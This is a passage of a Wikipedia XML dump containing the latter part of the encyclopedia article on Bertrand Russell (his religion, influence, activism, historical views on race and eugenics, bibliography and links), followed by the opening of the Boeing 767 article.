Russell also made an influential analysis of the [[omphalos hypothesis]] enunciated by [[Philip Henry Gosse]]&amp;mdash;that any argument suggesting that the world was created as if it were already in motion could just as easily make it a few minutes old as a few thousand years:
{{Quotation|There is no logical impossibility in the hypothesis that the world sprang into being five minutes ago, exactly as it then was, with a population that &quot;remembered&quot; a wholly unreal past. There is no logically necessary connection between events at different times; therefore nothing that is happening now or will happen in the future can disprove the hypothesis that the world began five minutes ago.|Bertrand Russell|The Analysis of Mind'', 1921, pp. 159&amp;ndash;60; ''cf.'' ''Philosophy'', Norton, 1927, p. 7, where Russell acknowledges Gosse's paternity of this anti-evolutionary argument.'' }}

As a young man, Russell had a decidedly religious bent, himself, as is evident in his early [[Platonism]]. He longed for [[eternal]] truths, as he makes clear in his famous essay, &quot;A Free Man's Worship&quot;, widely regarded as a masterpiece in prose, but one that Russell came to dislike. While he rejected the [[supernatural]], he freely admitted that he yearned for a deeper meaning to life.

Russell's views on religion can be found in his popular book, ''[[Why I Am Not a Christian]] and Other Essays on Religion and Related Subjects'' (ISBN 0671203231), whose title essay was a talk given [[March 6]], [[1927]] at Battersea Town Hall, under the auspices of the [[South London]] Branch of the [[National Secular Society]], UK. The speech was published later that year as a [[pamphlet]], which, along with other essays, was eventually published as a book. In the book, Russell considers a number of logical [[arguments for the existence of God]], including the [[first cause argument]], the [[natural-law argument]], the [[argument from design]], and moral arguments. He also goes into specifics about [[Christian theology]].

His final conclusion:
{{Quotation|Religion is based, I think, primarily and mainly upon fear. It is partly the terror of the unknown and partly, as I have said, the wish to feel that you have a kind of elder brother who will stand by you in all your troubles and disputes. ... A good world needs knowledge, kindliness, and courage; it does not need a regretful hankering after the past or a fettering of the free intelligence by the words uttered long ago by ignorant men.|Bertrand Russell|Why I Am Not a Christian and Other Essays on Religion and Related Subjects}}

==Influence on philosophy==
It would be difficult to overstate Russell's influence on modern philosophy, especially in the [[English language|English]]-speaking world. While others were also influential, notably, Frege, Moore, and Wittgenstein, more than any other person, Russell made analysis the dominant approach to philosophy. Moreover, he is the founder or, at the very least, the prime mover of its major branches and themes, including several versions of the philosophy of language, formal logical analysis, and the philosophy of science. The various analytic movements throughout the last century all owe something to Russell's earlier works.

Russell's influence on individual philosophers is singular, and perhaps most notably in the case of [[Ludwig Wittgenstein]], who was his student between [[1911]] and [[1914]]. It should also be observed that Wittgenstein exerted considerable influence on Russell, especially in leading him to conclude, much to his regret, that mathematical truths were trivial, tautological truths. Evidence of Russell's influence on Wittgenstein can be seen throughout the [[Tractatus]], which Russell was responsible for having published. Russell also helped to secure Wittgenstein's [[doctorate]] and a faculty position at [[Cambridge]], along with several fellowships along the way. However, as previously stated, he came to disagree with Wittgenstein's later linguistic and analytic approach to philosophy, while Wittgenstein came to think of Russell as &quot;superficial and glib,&quot; particularly in his popular writings. Russell's influence is also evident in the work of [[A. J. Ayer]], [[Rudolph Carnap]], [[Kurt Gödel]], [[Karl Popper]], [[W. V. Quine]], and a number of other philosophers and logicians.

Some see Russell's influence as mostly negative, primarily those who have been critical of Russell's emphasis on science and logic, the consequent diminishment of metaphysics, and of his insistence that ethics lies outside of philosophy. Russell's admirers and detractors are often more acquainted with his pronouncements on social and political matters, or what some (e.g., [[Ray Monk]]) have called his &quot;[[journalism]],&quot; than they are with his technical, philosophical work. Among non-philosophers, there is a marked tendency to conflate these matters, and to judge Russell the philosopher on what he himself would certainly consider to be his non-philosophical opinions. Russell often cautioned people to make this distinction.

Russell left a large assortment of writing. Since adolescence, Russell wrote about 3,000 words a day, in long hand, with relatively few corrections; his first draft nearly always was his last draft, even on the most complex, technical matters. His previously unpublished work is an immense treasure trove, and scholars are continuing to gain new insights into Russell's thought.

==Russell's activism==
Political and social [[activism]] occupied much of Russell's time for most of his long life, which makes his prodigious and seminal writing on a wide range of technical and non-technical subjects all the more remarkable.

Russell remained politically active to the end, writing and exhorting world leaders and lending his name to various causes. Some maintain that during his last few years he gave his youthful followers too much license and that they used his name for some outlandish purposes that a more attentive Russell would not have approved. There is evidence to show that he became aware of this when he fired his private secretary, [[Ralph Schoenman]], then a young firebrand of the radical left.

===Pacifism, war and nuclear weapons===
While never a complete [[pacifism|pacifist]] (in 'The Ethics of War', an article published in 1915, Russell stated that colonial wars were legitimate where the side with the stronger culture could put the land to better use), Russell opposed British participation in [[World War I]].  As a result, he was first fined, then lost his professorship at [[Trinity College, Cambridge|Trinity College]], [[University of Cambridge|Cambridge]], and was later imprisoned for six months. In 1943 Russell called his stance &quot;relative political pacifism&quot;&amp;mdash;he held that war was always a great [[evil]], but in some particularly extreme circumstances (such as when [[Adolf Hitler]] threatened to take over Europe) it might be a lesser of multiple evils. In the years leading to [[World War II]], he supported the policy of [[appeasement]]; but by 1940 he acknowledged that in order to preserve democracy, [[Hitler]] had to be defeated.

Russell was a prominent opponent of nuclear weapons.  On [[November 20]], [[1948]], in a public speech at [[Westminster School]], addressing a gathering arranged by the New Commonwealth, Russell shocked some observers by suggesting that a preemptive nuclear strike on the [[Soviet Union]] was justified.  Russell argued that the threat of war between the [[United States]] and the [[Soviet Union]] would enable the United States to force the Soviet Union to accept the [[Baruch Plan]] for international atomic energy control. (Earlier in the year he had written in the same vein to [[Walter W. Marseille]].) Russell felt this plan &quot;had very great merits and showed considerable generosity, when it is remembered that America still had an unbroken nuclear monopoly.&quot; (''Has Man a Future?'', 1961).  Russell later relented from this stance, instead arguing for mutual disarmament by the nuclear powers, possibly linked to some form of [[world government]].

In [[1955]] Russell released the [[Russell-Einstein Manifesto]], co-signed by [[Albert Einstein]] and nine other leading scientists and intellectuals, which led to the first of the [[Pugwash Conferences on Science and World Affairs]] in [[1957]].  In [[1958]], Russell became the first president of the [[Campaign for Nuclear Disarmament]].  He resigned two years later when the CND would not support [[civil disobedience]], and formed the [[Committee of 100]].  In [[1961]], when he was in his late eighties, he was imprisoned for a week for inciting civil disobedience, in connection with protests at the [[Ministry of Defence (United Kingdom)|Ministry of Defence]] and [[Hyde Park, London|Hyde Park]].

The [http://www.russfound.org/ Bertrand Russell Peace Foundation] began work in [[1963]], in order to carry forward Russell's work for peace, human rights and social justice.  He opposed the [[Vietnam War]] and, along with [[Jean-Paul Sartre]], he organised a [[tribunal]] intended to expose U.S. war crimes; this came to be known as the [[Russell Tribunal]].

Russell was an early critic of the official story in the [[John F. Kennedy]] assassination; his &quot;[[16 Questions on the Assassination]]&quot; from [[1964]] is still considered a good summary of the apparent inconsistencies in that case.

===Communism and socialism===
Russell visited the [[Soviet Union]] and met [[Lenin]] in [[1920]], and on his return wrote a critical tract, [http://www.archive.org/details/ThePracticeAndTheoryOfBolshevism/ The Practice and Theory of Bolshevism].  He was unimpressed with the result of the [[communist revolution]], and said he was &quot;infinitely unhappy in this atmosphere&amp;mdash;stifled by its utilitarianism, its indifference to love and beauty and the life of impulse.&quot; He believed Lenin to be similar to a religious [[zealot]], cold and possessed of &quot;no love of liberty.&quot;

Politically, Russell envisioned a kind of benevolent, [[democratic socialism]], not unlike the conception promoted by the [[Fabian Society]].  He was extremely critical of the [[totalitarianism]] exhibited by [[Stalin]]'s regime, and of [[Marxism]] and [[communism]] generally.  Russell was an enthusiast for [[world government]], and advocated the establishment of an international or world government in some of the essays collected in ''In Praise of Idleness'' ([[1935]]), and also in ''Has Man a Future?'' ([[1961]]).
{{Quotation|One who believes as I do, that free intellect is the chief engine of human progress, cannot but be fundamentally opposed to Bolshevism as much as to the Church of Rome.  The hopes which inspire communism are, in the main, as admirable as those instilled by the Sermon on the Mount, but they are held as fanatically and are as likely to do as much harm.|Bertrand Russell|The Practice and Theory of Bolshevism, 1920}}
{{Quotation|For my part, while I am as convinced a Socialist as the most ardent Marxian, I do not regard Socialism as a gospel of proletarian revenge, nor even, ''primarily'', as a means of securing economic justice.  I regard it primarily as an adjustment to machine production demanded by considerations of common sense, and calculated to increase the happiness, not only of proletarians, but of all except a tiny minority of the human race.|Bertrand Russell|&quot;The Case for Socialism&quot; (In Praise of Idleness, 1935)}}
{{Quotation|Modern methods of production have given us the possibility of ease and security for all; we have chosen, instead, to have overwork for some and starvation for the others. Hitherto we have continued to be as energetic as we were before there were machines; in this we have been foolish, but there is no reason to go on being foolish for ever.|Bertrand Russell|In Praise of Idleness, 1935}}

===Women's suffrage===
As a young man, Russell was a member of the [[Liberal Party (UK)|Liberal Party]] and wrote in favor of free trade and women's suffrage. In his [[1910]] pamphlet, ''Anti-Suffragist Anxieties'', Russell wrote that some men opposed suffrage because they &quot;fear that their liberty to act in ways that are injurious to women will be curtailed.&quot; In [[1907]] he was nominated by the National Union of Suffrage Societies to run for [[Parliament]] in a [[by-election]], which he lost by a wide margin.

===Sexuality===
Russell wrote against [[Victorian morality|Victorian]] notions of morality. ''[[Marriage and Morals]]'' (1929) expressed his opinion that sex between a man and woman who are not married to each other is not necessarily immoral if they truly love one another, and advocated &quot;trial marriages&quot; or &quot;companionate marriage&quot;, formalised relationships whereby young people could legitimately have sexual intercourse without being expected to remain married in the long term or to have children (an idea first proposed by Judge [[Ben Lindsey]]).  This might not seem extreme by today's standards, but it was enough to raise vigorous protests and denunciations against him during his visit to the [[United States]] shortly after the book's publication.  Russell was also ahead of his time in advocating open [[sex education]] and widespread access to [[contraception]].  He also advocated easy [[divorce]], but only if the marriage had produced no children - Russell's view was that parents should remain married but tolerant of each other's sexual infidelity, if they had children.  This reflected his life at the time - his second wife Dora was openly having an affair, and would soon become pregnant by another man, but Russell was keen for their children John and Kate to have a &quot;normal&quot; family life.

Russell's private life was even more unconventional and freewheeling than his published writings revealed, but that was not well known at the time. For example, philosopher [[Sidney Hook]] reports that Russell often spoke of his [[sexual]] prowess and of his various conquests.

===Eugenics and race===
Some critics of Russell have pointed out racist passages in his early writings, as well as his initial praise for the then-fashionable idea of [[eugenics]]. For example, in a letter to Alys Pearsall he wrote:
{{Quotation|Thee might observe incidentally that if the State paid for child-bearing it might and ought to require a medical certificate that the parents were such as to give a reasonable result of a healthy child &amp;mdash; this would afford a very good inducement to some sort of care for the race, and gradually as public opinion became educated by the law, it might react on the law and make that more stringent, until one got to some state of things in which there would be a little genuine care for the race, instead of the present haphazard higgledy-piggledy ways.|Bertrand Russell|on eugenics to Alys Pearsall Smith, [[2 October]] [[1894]] .(Selected Letters, vol. 1, p. 128)}}

And early editions of his book ''Marriage and Morals'' (1929) asserted:
{{Quotation|In extreme cases there can be little doubt of the superiority of one race to another.... It seems on the whole fair to regard negroes as on the average inferior to white men, although for work in the tropics they are indispensable, so that their extermination (apart from questions of humanity) would be highly undesirable.|Bertrand Russell|Marriage and Morals (1929)}}

Although Russell changed &quot;It seems on the whole fair to ...&quot; to &quot;There is no reason to ...&quot; in much later editions of the book, he did not change the sentence &quot;women are on the average stupider than men&quot;.

Later in his life, Russell criticized eugenic programs for their impracticality (chiefly their vulnerability to corruption), and by 1932 he was to condemn the &quot;unwarranted assumption&quot; that &quot;Negroes are congenitally inferior to white men&quot; (''Education and the Social Order'', Chap. 3). Racism rapidly declined in acceptance throughout the second half of the 20th century. In fact, Russell seems to have been one of the leaders of change in this sphere. He wrote a chapter on &quot;Racial Antagonism&quot; in ''New Hopes for a Changing World'' (1951):
{{Quotation|It is sometimes maintained that racial mixture is biologically undesirable. There is no evidence whatever for this view. Nor is there, apparently, any reason to think that Negroes are congenitally less intelligent than white people, but as to that it will be difficult to judge until they have equal scope and equally good social conditions.|Bertrand Russell|New Hopes for a Changing World (London: Allen &amp; Unwin, 1951, p. 108)}}

There is a much later condemnation-in-passing of racism in Russell's &quot;[[16 Questions on the Assassination]]&quot; (1964), in which he mentions &quot;Senator Russell of Georgia and Congressman Boggs of Louisiana ... whose racist views have brought shame on the United States&quot;.

==Russell summing up his life==
Admitting to failure in helping the world to conquer [[war]] and in winning his perpetual intellectual battle for eternal truths, Russell wrote this in &quot;Reflections on My Eightieth Birthday&quot;, which also served as the last entry in the last volume of his [[autobiography]], published in his 98th year:
{{Quotation|I have lived in the pursuit of a vision, both personal and social. Personal: to care for what is noble, for what is beautiful, for what is gentle; to allow moments of insight to give wisdom at more mundane times. Social: to see in imagination the society that is to be created, where individuals grow freely, and where hate and greed and envy die because there is nothing to nourish them. These things I believe, and the world, for all its horrors, has left me unshaken.|Bertrand Russell|&quot;Reflections on My Eightieth Birthday&quot;}}

==Comments about Russell==
===As a man===
:''&quot;Bertrand Russell would not have wished to be called a saint of any description; but he was a great and good man.&quot;''
::&amp;mdash; A.J. Ayer, ''Bertrand Russell'', NY: Viking Press, 1972.

===As a philosopher===
:''&quot;It is difficult to overstate the extent to which Russell's thought dominated twentieth century analytic philosophy: virtually every strand in its development either originated with him or was transformed by being transmitted through him. Analytic philosophy itself owes its existence more to Russell than to any other philosopher.&quot;''
::&amp;mdash; Nicholas Griffin, The ''Cambridge Companion to Bertrand Russell'', Cambridge: Cambridge University Press, 2003.

===As a writer and his place in history===
:''&quot;Russell's prose has been compared by T.S. Eliot to that of David Hume's. I would rank it higher, for it had more color, juice, and humor. But to be lucid, exciting ''and'' profound in the main body of one's work is a combination of virtues given to few philosophers. Bertrand Russell has achieved immortality by his philosophical writings.&quot;''
::&amp;mdash; Sidney Hook, ''Out of Step, An Unquiet Life in the 20th Century'', NY: Carol &amp; Graff, 1988.

:''&quot;Russell's books should be bound in two colours, those dealing with mathematical logic in red&amp;mdash;and all students of philosophy should read them; those dealing with ethics and politics in blue&amp;mdash;and no one should be allowed to read them.&quot;''
::&amp;mdash; Rush Rhees, ''Recollections of Wittgenstein'', Oxford Paperbacks, 1984.

===As a mathematician and logician===
:Of the Principia: ''&quot;...its enduring value was simply a deeper understanding of the central concepts of mathematics and their basic laws and interrelationships. Their total translatability into just elementary logic and a simple familiar two-place predicate, membership, is of itself a philosophical sensation.&quot;''
::&amp;mdash; W.V. Quine, ''From Stimulus to Science'', Cambridge: Harvard University Press, 1995.

===As an activist===
:''&quot;Oh, Bertrand Russell! Oh, Hewlett Johnson! Where, oh where, was your flaming conscience at that time?&quot;''
::&amp;mdash; Alexandr I. Solzhenitsyn, ''The Gulag Archipelago'', Harper &amp; Row, 1974.

===As a recipient of the Nobel Prize for Literature===
:''In other words, it was specifically ''not'' for his incontestably great contributions to philosophy&amp;mdash;''The Principles of Mathematics'', 'On Denoting' and ''Principia Mathematica''&amp;mdash;that he was being honoured, but for the later work that his fellow philosophers were unanimous in regarding as inferior.''
::&amp;mdash; Ray Monk, ''Bertrand Russell, The Ghost of Madness'', p. 332.

===From a daughter===
:''&quot;He was the most fascinating man I have ever known, the only man I ever loved, the greatest man I shall ever meet, the wittiest, the gayest, the most charming. It was a privilege to know him, and I thank God he was my father.&quot;''
::&amp;mdash; Katharine Tait, ''My Father Bertrand Russell'', NY: Harcourt Brace Jovanovich, 1975, p. 202.

==Quotes==
*''War does not determine who is right. Only who is left.''
*''The secret to true happiness is to face the fact that the world is horrible.''
*''The whole problem with the world is that fools and fanatics are always so certain of themselves, but wiser people so full of doubts.''
*&quot;You could tell by his [[Aldous_Huxley|[Aldous Huxley]]] conversation which volume of the ''Encyclopaedia Britannica'' he'd been reading. One day it would be Alps, Andes and Apennines, and the next it would be the Himalayas and the Hippocratic Oath.&quot; (Source: Parris, M., (1996). Scorn:With Added Vitriol, Penguin)
*[http://www.philosophicalsociety.com/Archives/A%20Tale%20Of%20Two%20Moralities.htm &quot;A Tale of Two Moralities&quot;] &quot;I dislike [[Nietzsche]],&quot; Russell wrote, &quot;because he likes the contemplation of pain, because he erects conceit into a duty, because the men whom he most admires are conquerors, whose glory is cleverness in causing men to die.&quot;

==Further reading==
===Selected bibliography of Russell's books===
This is a selected bibliography of Russell's books in English sorted by year of first publication.
* 1896, ''German Social Democracy'', London: Longmans, Green.
* 1897, ''An Essay on the Foundations of Geometry'', Cambridge: At the University Press.
* 1900, ''A Critical Exposition of the Philosophy of Leibniz'', Cambridge: At the University Press.
* 1903, [http://fair-use.org/bertrand-russell/the-principles-of-mathematics ''The Principles of Mathematics''], Cambridge: At the University Press.
* 1910, ''Philosophical Essays'', London: Longmans, Green.
* 1910&amp;ndash;1913, ''[[Principia Mathematica]]'' (with [[Alfred North Whitehead]]), 3 vols., Cambridge: At the University Press.
* 1912, ''[[The Problems of Philosophy]]'', London: Williams and Norgate.
* 1914, ''Our Knowledge of the External World as a Field for Scientific Method in Philosophy'', Chicago and London: Open Court Publishing.
* 1916, ''Principles of Social Reconstruction'', London: George Allen &amp; Unwin.
* 1916, ''Justice in War-time'', Chicago: Open Court.
* 1917, ''Political Ideals'', New York: The Century Co.
* 1918, ''Mysticism and Logic and Other Essays'', London: Longmans, Green.
* 1918, ''Roads to Freedom: Socialism, Anarchism, and Syndicalism'', London: George Allen &amp; Unwin.
* 1919, ''Introduction to Mathematical Philosophy'', London: George Allen &amp; Unwin.
* 1920, ''The Practice and Theory of Bolshevism'', London: George Allen &amp; Unwin.
* 1921, ''The Analysis of Mind'', London: George Allen &amp; Unwin.
* 1922, ''The Problem of China'', London: George Allen &amp; Unwin.
* 1923, ''The Prospects of Industrial Civilization'' (in collaboration with Dora Russell), London: George Allen &amp; Unwin.
* 1923, ''The ABC of Atoms'', London: Kegan Paul, Trench, Trubner.
* 1924, ''Icarus, or the Future of Science'', London: Kegan Paul, Trench, Trubner.
* 1925, ''The ABC of Relativity'', London: Kegan Paul, Trench, Trubner.
* 1925, ''[[What I Believe]]'', London: Kegan Paul, Trench, Trubner.
* 1926, ''On Education, Especially in Early Childhood'', London: George Allen &amp; Unwin.
* 1927, ''The Analysis of Matter'', London: Kegan Paul, Trench, Trubner.
* 1927, ''An Outline of Philosophy'', London: George Allen &amp; Unwin.
* 1927, ''[[Why I Am Not a Christian]]'', London: Watts.
* 1927, ''Selected Papers of Bertrand Russell'', New York: Modern Library.
* 1928, ''Sceptical Essays'', London: George Allen &amp; Unwin.
* 1929, ''Marriage and Morals'', London: George Allen &amp; Unwin.
* 1930, ''The Conquest of Happiness'', London: George Allen &amp; Unwin.
* 1931, ''The Scientific Outlook'', London: George Allen &amp; Unwin.
* 1932, ''Education and the Social Order'', London: George Allen &amp; Unwin.
* 1934, ''Freedom and Organization, 1814&amp;ndash;1914'', London: George Allen &amp; Unwin.
* 1935, ''In Praise of Idleness'', London: George Allen &amp; Unwin.
* 1935, ''Religion and Science'', London: Thornton Butterworth.
* 1936, ''Which Way to Peace?'', London: Jonathan Cape.
* 1937, ''The Amberley Papers: The Letters and Diaries of Lord and Lady Amberley'' (with Patricia Russell), 2 vols., London: Leonard &amp; Virginia Woolf at the Hogarth Press.
* 1938, ''Power: A New Social Analysis'', London: George Allen &amp; Unwin.
* 1940, ''An Inquiry into Meaning and Truth'', New York: W. W. Norton &amp; Company.
* 1945, ''[[History of Western Philosophy (Russell)|A History of Western Philosophy and Its Connection with Political and Social Circumstances from the Earliest Times to the Present Day]]'', New York: Simon and Schuster.
* 1948, ''Human Knowledge: Its Scope and Limits'', London: George Allen &amp; Unwin.
* 1949, ''Authority and the Individual'', London: George Allen &amp; Unwin.
* 1950, ''Unpopular Essays'', London: George Allen &amp; Unwin.
* 1951, ''New Hopes for a Changing World'', London: George Allen &amp; Unwin.
* 1952, ''The Impact of Science on Society'', London: George Allen &amp; Unwin.
* 1953, ''Satan in the Suburbs and Other Stories'', London: George Allen &amp; Unwin.
* 1954, ''Human Society in Ethics and Politics'', London: George Allen &amp; Unwin.
* 1954, ''Nightmares of Eminent Persons and Other Stories'', London: George Allen &amp; Unwin.
* 1956, ''Portraits from Memory and Other Essays'', London: George Allen &amp; Unwin.
* 1956, ''Logic and Knowledge: Essays 1901&amp;ndash;1950'' (edited by Robert C. Marsh), London: George Allen &amp; Unwin.
* 1957, ''Why I Am Not A Christian and Other Essays on Religion and Related Subjects'' (edited by Paul Edwards), London: George Allen &amp; Unwin.
* 1958, ''Understanding History and Other Essays'', New York: Philosophical Library.
* 1959, ''Common Sense and Nuclear Warfare'', London: George Allen &amp; Unwin.
* 1959, ''[[My Philosophical Development]]'', London: George Allen &amp; Unwin.
* 1959, ''Wisdom of the West'' (&quot;editor&quot;, Paul Foulkes), London: Macdonald.
* 1960, ''Bertrand Russell Speaks His Mind'', Cleveland and New York: World Publishing Company.
* 1961, ''The Basic Writings of Bertrand Russell'' (edited by R.E. Egner and L.E. Denonn), London: George Allen &amp; Unwin.
* 1961, ''Fact and Fiction'', London: George Allen &amp; Unwin.
* 1961, ''Has Man a Future?'', London: George Allen &amp; Unwin.
* 1963, ''Essays in Skepticism'', New York: Philosophical Library.
* 1963, ''Unarmed Victory'', London: George Allen &amp; Unwin.
* 1965, ''On the Philosophy of Science'' (edited by Charles A. Fritz, Jr.), Indianapolis: The Bobbs-Merrill Company.
* 1967, ''Russell's Peace Appeals'' (edited by Tsutomu Makino and Kazuteru Hitaka), Japan: Eichosha's New Current Books.
* 1967, ''War Crimes in Vietnam'', London: George Allen &amp; Unwin.
* 1967&amp;ndash;1969, ''The Autobiography of Bertrand Russell'', 3 vols., London: George Allen &amp; Unwin.
* 1969, ''Dear Bertrand Russell... A Selection of his Correspondence with the General Public 1950&amp;ndash;1968'' (edited by Barry Feinberg and Ronald Kasrils), London: George Allen and Unwin.

Note: This is a mere sampling, for Russell also authored many pamphlets, introductions, articles and letters to the editor. His works also can be found in any number of anthologies and collections, perhaps most notably, ''The Collected Papers of Bertrand Russell'', which [[McMaster University]] began publishing in [[1983]]. This collection of his shorter and previously unpublished works is now up to 16 volumes, and many more are forthcoming. An additional 3 volumes catalogue just his bibliography. The Russell Archives at [[McMaster University|McMaster]] also have more than 30,000 letters that he wrote.

Additional References:

A. Russell
* 1900, ''Sur la logique des relations avec des applications à la théorie des séries'', ''Rivista di matematica 7'': 115-148.
* 1901, ''On the Notion of Order'', ''Mind (n.s.) 10'': 35-51.
* 1902, (with [[Alfred North Whitehead]]), ''On Cardinal Numbers'', ''American Journal of Mathematics 23'': 367-384.

B. Secondary references:
* John Newsome Crossley. ''A Note on Cantor's Theorem and Russell's Paradox'', ''Australian Journal of Philosophy 51'': 70-71.
* [[Ivor Grattan-Guinness]], 2000. ''The Search for Mathematical Roots 1870-1940''. Princeton University Press.

===Books about Russell's philosophy===
* ''Bertrand Russell: Critical Assessments'', edited by A.D. Irvine, consisting of essays on Russell's work by many distinguished philosophers, 4 vols, London: Routledge, 1999.
* ''Theories of Truth'', by Richard L. Kirkham (1992). Chapter 4 includes a detailed discussion of Russell's theory of truth.
* ''Bertrand Russell'', John Slater, Bristol: Thoemmes Press, 1994.
* ''The Philosophy of Bertrand Russell'', edited by P.A. Schilpp, Evanston and Chicago: Northwestern University, 1944.

===Biographical books===
* '' Bertrand Russell: 1872&amp;ndash;1920 The Spirit of Solitude'' by [[Ray Monk]] (1997) ISBN 0099731312
* ''Bertrand Russell: 1921&amp;ndash;1970 The Ghost of Madness'' by [[Ray Monk]] (2001) ISBN 009927275X
* ''Bertrand Russell: Philosopher and Humanist'', by [[John Lewis (philosopher)|John Lewis]] (1968)
* ''Bertrand Russell'', by [[A. J. Ayer]] (1972), reprint ed. 1988: ISBN 0226033430
* ''The Life of Bertrand Russell'', by [[Ronald W. Clark]] (1975) ISBN 0394490592
* ''Bertrand Russell and His World'', by Ronald W. Clark (1981) ISBN 0500130701

==External links==
{{wikiquote}}
{{wikisource author}}

===Writings available online===
* [http://www005.upp.so-net.ne.jp/russell/index-e.htm &quot;Contents Recommended&quot;]
* [http://www.positiveatheism.org/hist/russell1.htm &quot;A Free Man's Worship&quot;] (1903)
* [http://www.positiveatheism.org/hist/russell8.htm ''Am I an Atheist or an Agnostic?'']
* [http://www.threads.name/russell/icarus.html ''Icarus: The Future of Science'']
* [http://www.threads.name/russell/religionciv.html ''Has Religion Made Useful Contributions to Civilization?'']
* [http://www.threads.name/russell/ideas_harm.html ''Ideas that Have Harmed Mankind'']
* [http://www.zpub.com/notes/idle.html ''In Praise of Idleness''] (1932)
* [http://nobelprize.org/literature/laureates/1950/russell-lecture.html Nobel Lecture] (1950)
* [http://onlinebooks.library.upenn.edu/webbin/gutbook/lookup?num=4776 ''Political Ideals'']
* [http://www.philosophyarchive.com/text.php?era=1900-1999&amp;author=Russell&amp;text=Problems%20of%20China The Problems of China]
* [http://philosophy.hku.hk/think/phil/russell/index.php ''The Problems of Philosophy'']
* [http://www.zpub.com/notes/rfree10.html ''Proposed Roads to Freedom''] (1918)
* [http://karws.gso.uri.edu/JFK/the_critics/russell/Sixteen_questions_Russell.html ''16 Questions on the Assassination'' (of President Kennedy)]
* [http://onlinebooks.library.upenn.edu/webbin/gutbook/lookup?num=2529 ''The Analysis Of Mind'']
* [http://www.control-z.com/pages/agnosticism.html ''What is an Agnostic?'']
* [http://www.positiveatheism.org/hist/russell0.htm ''Why I am not a Christian'']
* [http://fair-use.org/bertrand-russell/the-elements-of-ethics &quot;The Elements of Ethics&quot;] (1910)
* [http://fair-use.org/bertrand-russell/the-principles-of-mathematics ''The Principles of Mathematics''] (1903)
* {{gutenberg author| id=Bertrand+Arthur+William+3rd+Earl+Russell | name=Bertrand Russell}}

===Other===
* [http://www.pembroke-lodge.co.uk Pembroke Lodge - childhood home and museum]
* [http://users.drew.edu/~jlenz/brs.html The Bertrand Russell Society] - a member organisation of the [[International Humanist and Ethical Union]]
* [http://www.lehman.edu/deanhum/philosophy/BRSQ/ The Bertrand Russell Society Quarterly]
* [http://www.russfound.org/ The Bertrand Russell Peace Foundation]
* {{MacTutor Biography|id=Russell}}
* [http://atheisme.free.fr/Biographies/Russell_e.htm Biography and quotes of Bertrand Russell]
* [http://russell.mcmaster.ca/~bertrand/ Russell Photo Gallery]
* [http://plato.stanford.edu/entries/russell/ ''Stanford Encyclopedia of Philosophy'' entry]
* [http://www.mcmaster.ca/russdocs/russell.htm The Bertrand Russell Archives]
* [http://www.synaptic.bc.ca/ejournal/russell.htm Resource list]
* [http://www.bbc.co.uk/radio4/reith/historic_audio/ram/russell_1948.ram The First Reith Lecture given by Russell] (Real Audio)
* [http://www.britannica.com/nobel/micro/514_10.html Encyclopaedia Britannica]

==Succession==
{{start box}}
{{succession box | before = [[William Faulkner]] | title = [[List of Nobel laureates#Literature|Nobel Prize in Literature winner]] | years =1950 | after = [[Pär Lagerkvist]]}}
{{end box}}

{{start box}}
{{succession box | before=[[Frank Russell, 2nd Earl Russell|Frank Russell]] | title=[[Earl Russell]] | after=[[John Russell, 4th Earl Russell|John Conrad Russell]] | years=1931&amp;ndash;1970}}
{{end box}}

[[Category:1872 births|Russell, Bertrand]]
[[Category:1970 deaths|Russell, Bertrand]]
[[Category:20th century philosophers|Russell, Bertrand]]
[[Category:Agnostics|Russell, Bertrand]]
[[Category:Alumni of Trinity College, Cambridge|Russell, Bertrand]]
[[Category:Analytic philosophers|Russell, Bertrand]]
[[Category:Anti-Vietnam War|Russell, Bertrand]]
[[Category:Anti-war people|Russell, Bertrand]]
[[Category:Atheist philosophers|Russell, Bertrand]]
[[Category:Atheist thinkers and activists|Russell, Bertrand]]
[[Category:British logicians|Russell, Bertrand]]
[[Category:Earls in the Peerage of the United Kingdom|Russell, Bertrand]]
[[Category:English mathematicians|Russell, Bertrand]]
[[Category:English non-fiction writers|Russell, Bertrand]]
[[Category:English philosophers|Russell, Bertrand]]
[[Category:Fellows of the Royal Society|Russell, Bertrand]]
[[Category:Humanists|Russell, Bertrand]]
[[Category:Lecturers of the London School of Economics|Russell, Bertrand]]
[[Category:Natives of Monmouthshire|Russell, Bertrand]]
[[Category:Nobel Prize in Literature winners|Russell, Bertrand]]
[[Category:Philosophers of language|Russell, Bertrand]]
[[Category:Polymaths|Russell, Bertrand]]
[[Category:Premature obituaries|Russell, Bertrand]]
[[Category:World federalists|Russell, Bertrand]]

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    </revision>
  </page>
  <page>
    <title>Boeing 767</title>
    <id>4165</id>
    <revision>
      <id>41561642</id>
      <timestamp>2006-02-28T04:02:42Z</timestamp>
      <contributor>
        <username>Mailer diablo</username>
        <id>131286</id>
      </contributor>
      <minor />
      <comment>/* General characteristics */</comment>
      <text xml:space="preserve">[[image:aircanada.b767.750pix.jpg|thumb|right|250px|Air Canada Boeing 767-300]]
[[image:ba.b767-300.g-bzhb.800pix.jpg|thumb|right|250px|British Airways Boeing 767-300]]

The '''Boeing 767''' is a commercial passenger [[airplane]] manufactured by [[Boeing Commercial Airplanes]].

The Boeing 767, a [[widebody]] jet, was introduced at around the same time as the [[Boeing 757|757]], its narrowbody sister.  The 767 has a seat-to-aisle ratio in economy class of 3.5 seats per aisle, making for quicker food service and quicker exit of the plane than many other jetliners, which typically have between four and six seats per aisle in economy class. On the downside, as the 767 has a slightly narrower fuselage diameter than other wide-body aircraft (such as the [[Airbus A300]] and [[Airbus A310|A310]]), it is unable to carry ordinary [[Unit Load Device]]s, and instead has to use specially designed air freight containers and pallets.  The flight decks of the Boeing 757 and 767 are very similar and as a result, pilots rated in the 757 are also qualified to fly the 767 and vice versa.

The 767 is to be succeeded in the Boeing lineup by the [[Boeing 787|787]]. &lt;!-- NOT 777 --&gt;

At the end of [[December 2005]], the Boeing 767 has 965 orders placed and 935 of those had been delivered.

==Variants==

* '''767-200''' - The first model of the 767, launched in 1978 and produced from 1981 to 1994.  It entered service with [[United Airlines]] in 1982.  The 767-200 has no direct replacement, but will be replaced indirectly in Boeing's lineup by the [[Boeing 787|Boeing 787-3]].
* '''767-200ER''' - An extended-range variant first delivered to [[El Al]] in 1984.  It became the first 767 to complete a nonstop transatlantic journey, and broke the flying distance record for twinjet airliners several times.  The 767-200ER has no direct replacement, but will be replaced indirectly in Boeing's lineup by the [[Boeing 787|Boeing 787-8]].
